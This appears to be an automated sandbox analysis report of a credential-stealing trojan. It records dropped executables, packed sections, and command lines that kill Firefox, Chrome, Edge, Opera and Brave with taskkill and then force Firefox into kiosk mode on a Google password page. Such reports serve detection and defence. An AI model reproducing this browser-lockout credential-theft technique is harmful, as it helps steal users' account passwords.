Source: file.exe, 00000000.00000003.1993903331.0000000005D44000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003191211.0000000005D48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994973241.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993739790.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992905050.0000000005B42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997599813.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996420182.0000000005D46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995850008.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997692742.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993302012.0000000005D49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994406120.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003391705.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998161021.0000000005E40000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001834845.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997001815.0000000005D48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992972933.00000000059A4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995067615.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996209528.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004344716.0000000005FE1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999410080.0000000005E53000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995159041.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2011212573.00000000010E8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994693354.0000000005EA9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002083298.0000000005E77000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994244842.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003950625.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994333003.0000000005D42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993510301.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993438744.0000000005D44000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995541296.0000000005E18000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994783220.0000000005D48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004502841.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001106060.0000000005F8C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002332146.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993169303.0000000005D50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996313646.0000000005E22000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994500284.0000000005D42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993041227.0000000005D50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999257097.0000000005D48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996636200.0000000005D47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999000955.0000000005D49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995637199.0000000005D47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996879673.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2012190717.0000000006014000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994167956.0000000005D45000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993988210.0000000005DE7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2011037069.00000000010DA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997134926.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004207148.0000000005E86000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003583803.0000000005FCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003810725.0000000005D47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995254815.0000000005D4F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998747123.0000000005E48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998500289.0000000005E42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998039317.0000000005D47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993368835.0000000005DED000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994876269.0000000005E07000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996757177.0000000005E31000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9981264694357367
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: skotes.exe.5.dr Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: skotes.exe.5.dr Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: random[1].exe.6.dr Static PE information: Section: ZLIB complexity 0.9981264694357367
Source: 7f3598dc65.exe.6.dr Static PE information: Section: ZLIB complexity 0.9981264694357367
Source: random[1].exe0.6.dr Static PE information: Section: eysgbrhc ZLIB complexity 0.9946271392490953
Source: 606111e8b5.exe.6.dr Static PE information: Section: eysgbrhc ZLIB complexity 0.9946271392490953
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: random[1].exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 7f3598dc65.exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@85/40@101/14
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_04AC15D0 ChangeServiceConfigA, 4_2_04AC15D0
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GVDV7NGS54W9A7T64.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:560:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1364:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3980:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000003.1715576396.00000000058D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224189895.0000000005844000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2370745810.00000000052AB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 37%
Source: GVDV7NGS54W9A7T64.exe String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: AJK1SC9862O5LRO4.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe "C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe "C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe"
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bf06fec-0dcd-48c2-953a-7c50b40f4239} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9a4e6df10 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -parentBuildID 20230927232528 -prefsHandle 4664 -prefMapHandle 4200 -prefsLen 26431 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f1f2212-7e79-4ebe-a85e-e2d9c0caa83f} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9b6ee1210 rdd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe "C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe"
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe "C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe "C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe "C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2220 -prefsLen 25416 -prefMapSize 238941 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d9e7d52-f4a7-4cd9-91e8-b4288aaa4407} 8032 "\\.\pipe\gecko-crash-server-pipe.8032" 23e7356d710 socket
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe "C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe "C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe "C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe "C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
